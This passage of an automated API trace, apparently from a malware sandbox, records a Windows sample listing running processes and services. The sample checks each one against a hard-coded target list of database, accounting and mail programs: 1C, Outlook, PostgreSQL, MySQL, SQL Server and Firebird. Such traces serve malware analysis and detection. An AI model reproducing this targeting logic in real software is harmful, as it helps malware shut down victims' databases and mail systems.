dwFlags=0x0, lpMem=0x41d9f00 | out: hHeap=0x300000) returned 1 [0156.493] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0156.495] Process32FirstW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.495] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0156.496] lstrlenW (lpString="System") returned 6 [0156.496] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0156.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0156.496] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0156.496] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0156.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0156.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0156.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0156.496] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0156.496] lstrlenW (lpString="smss.exe") returned 8 [0156.496] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0156.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0156.496] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0156.497] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0156.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0156.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0156.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0156.497] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.497] lstrlenW (lpString="csrss.exe") returned 9 [0156.497] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0156.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0156.497] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0156.497] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0156.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0156.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0156.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0156.497] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0156.497] lstrlenW (lpString="wininit.exe") returned 11 [0156.498] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0156.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0156.498] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0156.498] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0156.498] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0156.498] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0156.498] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0156.498] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.498] lstrlenW (lpString="csrss.exe") returned 9 [0156.498] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0156.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0156.498] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0156.498] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0156.498] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0156.498] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0156.499] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0156.499] lstrlenW (lpString="winlogon.exe") returned 12 [0156.499] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0156.500] lstrlenW (lpString="services.exe") returned 12 [0156.500] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0156.500] lstrlenW (lpString="lsass.exe") returned 9 [0156.500] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0156.500] lstrlenW (lpString="lsm.exe") returned 7 [0156.500] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.501] lstrlenW (lpString="svchost.exe") returned 11 [0156.501] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.501] lstrlenW (lpString="svchost.exe") returned 11 [0156.501] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.501] lstrlenW (lpString="svchost.exe") returned 11 [0156.501] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.502] lstrlenW (lpString="svchost.exe") returned 11 [0156.502] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.502] lstrlenW (lpString="svchost.exe") returned 11 [0156.502] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.502] lstrlenW (lpString="audiodg.exe") returned 11 [0156.502] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.503] lstrlenW (lpString="svchost.exe") returned 11 [0156.503] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.503] lstrlenW (lpString="svchost.exe") returned 11 [0156.503] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0156.503] lstrlenW (lpString="spoolsv.exe") returned 11 [0156.503] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0156.504] lstrlenW (lpString="taskhost.exe") returned 12 [0156.504] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.504] lstrlenW (lpString="svchost.exe") returned 11 [0156.504] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0156.504] lstrlenW (lpString="userinit.exe") returned 12 [0156.505] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.505] lstrlenW (lpString="dwm.exe") returned 7 [0156.505] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.505] lstrlenW (lpString="explorer.exe") returned 12 [0156.505] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0156.506] lstrlenW (lpString="3G6885.exe") returned 10 [0156.506] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0156.506] lstrlenW (lpString="reader_sl.exe") returned 13 [0156.506] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0156.506] lstrlenW (lpString="drvinst.exe") returned 11 [0156.506] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0156.507] lstrlenW (lpString="taskhost.exe") returned 12 [0156.507] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0156.507] lstrlenW (lpString="consent.exe") returned 11 [0156.507] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0156.507] lstrlenW (lpString="dllhost.exe") returned 11 [0156.507] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0156.508] CloseHandle (hObject=0x364) returned 1 [0156.508] Sleep (dwMilliseconds=0x1f4) [0157.205] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3af1cc8 [0157.205] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0157.206] GetLastError () returned 0xea [0157.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41d9f00 [0157.206] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d9f00, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d9f00, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0157.207] CloseServiceHandle (hSCObject=0x3af1cc8) returned 1 [0157.207] lstrlenW (lpString="Appinfo") returned 7 [0157.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0157.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0157.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0157.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0157.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0157.208] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0157.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0157.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0157.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0157.208] lstrlenW (lpString="AudioSrv") returned 8 [0157.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0157.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0157.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0157.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0157.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0157.208] lstrlenW (lpString="BFE") returned 3 [0157.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0157.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0157.208] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0157.208] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0157.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0157.208] lstrlenW (lpString="CryptSvc") returned 8 [0157.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0157.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0157.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0157.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0157.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0157.209] lstrlenW (lpString="CscService") returned 10 [0157.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0157.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0157.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0157.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0157.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0157.209] lstrlenW (lpString="DcomLaunch") returned 10 [0157.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0157.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0157.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0157.209] lstrlenW (lpString="Dhcp") returned 4 [0157.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0157.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0157.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0157.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0157.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0157.209] lstrlenW (lpString="Dnscache") returned 8 [0157.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0157.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0157.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0157.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0157.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0157.210] lstrlenW (lpString="DPS") returned 3 [0157.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0157.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0157.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0157.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0157.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0157.210] lstrlenW (lpString="eventlog") returned 8 [0157.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0157.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0157.210] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0157.210] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0157.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0157.210] lstrlenW (lpString="EventSystem") returned 11 [0157.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0157.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0157.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0157.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0157.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0157.210] lstrlenW (lpString="gpsvc") returned 5 [0157.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0157.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0157.210] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0157.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0157.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0157.211] lstrlenW (lpString="iphlpsvc") returned 8 [0157.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.211] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0157.211] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0157.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0157.211] lstrlenW (lpString="LanmanServer") returned 12 [0157.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0157.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0157.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0157.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0157.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0157.211] lstrlenW (lpString="LanmanWorkstation") returned 17 [0157.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0157.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0157.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0157.211] lstrlenW (lpString="lmhosts") returned 7 [0157.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0157.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0157.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0157.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0157.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0157.211] lstrlenW (lpString="MMCSS") returned 5 [0157.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0157.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0157.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0157.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0157.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0157.212] lstrlenW (lpString="MpsSvc") returned 6 [0157.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0157.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0157.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0157.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0157.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0157.212] lstrlenW (lpString="Netman") returned 6 [0157.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0157.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0157.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0157.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0157.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0157.212] lstrlenW (lpString="netprofm") returned 8 [0157.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0157.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0157.212] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0157.212] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0157.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0157.212] lstrlenW (lpString="NlaSvc") returned 6 [0157.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0157.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0157.212] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0157.213] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0157.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0157.213] lstrlenW (lpString="nsi") returned 3 [0157.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0157.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0157.213] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0157.213] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0157.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0157.213] lstrlenW (lpString="PcaSvc") returned 6 [0157.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0157.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0157.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0157.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0157.213] lstrcmpiW 